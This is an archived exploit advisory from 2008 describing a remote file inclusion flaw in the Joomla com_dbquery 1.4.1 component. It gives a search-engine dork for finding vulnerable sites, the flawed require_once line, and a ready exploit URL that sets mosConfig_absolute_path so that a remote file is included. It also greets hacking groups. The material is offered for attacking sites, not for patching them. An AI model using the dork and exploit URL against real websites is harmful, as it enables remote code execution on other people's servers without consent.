joomladbquery-rfi.txt

2008-07-10T00:00:00
ID PACKETSTORM:67988
Type packetstorm
Reporter SsEs
Modified 2008-07-10T00:00:00

Description

                                        
                                            `@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@JOOmla com_dbquery Remote file Inclusion@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
@@@@@@@@@@@@@@@@@  
@@@@@@@@@@@@@@@@@  
@@@@@@@@@@@@@@@@@ Author:SsEs   
@@@@@@@@@@@@@@@@@  
@@@@@@@@@@@@@@@@@ Contact:h4cks.in@gmail.com   
@@@@@@@@@@@@@@@@@ Greetss: www.h4cks.in ||| www.1919turk.org || www.illegalsecurity.us ||| www.siberaskerler.org ||  
@@@@@@@@@@@@@@@@@  
@@@@@@@@@@@@@@@@@ Dork: inurl:"com_dbquery" OR "index.php?option=com_dbquery"  
@@@@@@@@@@@@@@@@@ **Bug:  
@@@@@@@@@@@@@@@@@ administrator\components\com_dbquery\classes\DBQ\admin\common.class.php on line 6  
@@@@@@@@@@@@@@@@@ global $mosConfig_absolute_path;  
@@@@@@@@@@@@@@@@@  
@@@@@@@@@@@@@@@@@ require_once($mosConfig_absolute_path.’/components/com_dbquery/classes/DBQ/common.class.php’);  
@@@@@@@@@@@@@@@@@  
@@@@@@@@@@@@@@@@@ http://sitename.com/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=  
@@@@@@@@@@@@@@@@@  
  
side note:  
<name>DBQuery</name>  
<creationDate>February 2007</creationDate>  
<author>Green Mountain Information Technology Consulting</author>  
<copyright>This component is released under the GNU/GPL License</copyright>  
<authorEmail>consulting@gmitc.biz</authorEmail>  
  
<authorUrl>http://www.gmitc.biz</authorUrl>  
<version>1.4.1 Final</version>  
<description>Database Query is a Joomla query manager.</description>  
  
  
`